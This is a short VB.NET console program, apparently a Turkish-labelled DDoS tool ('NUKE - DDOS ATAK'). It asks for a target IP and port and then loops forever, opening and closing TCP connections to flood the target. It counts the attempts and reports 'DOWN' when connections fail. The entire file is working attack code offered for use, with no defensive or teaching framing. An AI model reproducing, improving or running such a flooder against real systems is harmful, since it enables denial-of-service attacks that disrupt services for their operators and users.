Imports System.Net
Imports System.Net.Sockets
Module Module1
Sub Main()
Console.ForegroundColor = ConsoleColor.Green
Console.WriteLine(" ")
Console.WriteLine(" İMHA TİMİ ")
Console.WriteLine(" ")
Console.WriteLine(" NUKE - DDOS ATAK ")
Console.WriteLine(" ")
Console.WriteLine(" ")
Console.WriteLine(" ")
Console.ForegroundColor = ConsoleColor.Green
Console.WriteLine("IP:")
Dim ip As String = Console.ReadLine
Console.WriteLine("PORT:")
Dim porta As Integer = Console.ReadLine
Dim x As Integer
Do
Try
Dim iep As IPEndPoint
iep = New IPEndPoint(IPAddress.Parse(ip), Convert.ToInt32(porta)) 'target
Dim s As Socket = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
s.Connect(iep)
s.Close()
x += 1
Console.WriteLine("Paket Gönderiliyor: " & x)
Catch ex As Exception
Console.ForegroundColor = ConsoleColor.Red
Console.WriteLine("DOWN : " & x)
End Try
Loop
End Sub
End Module
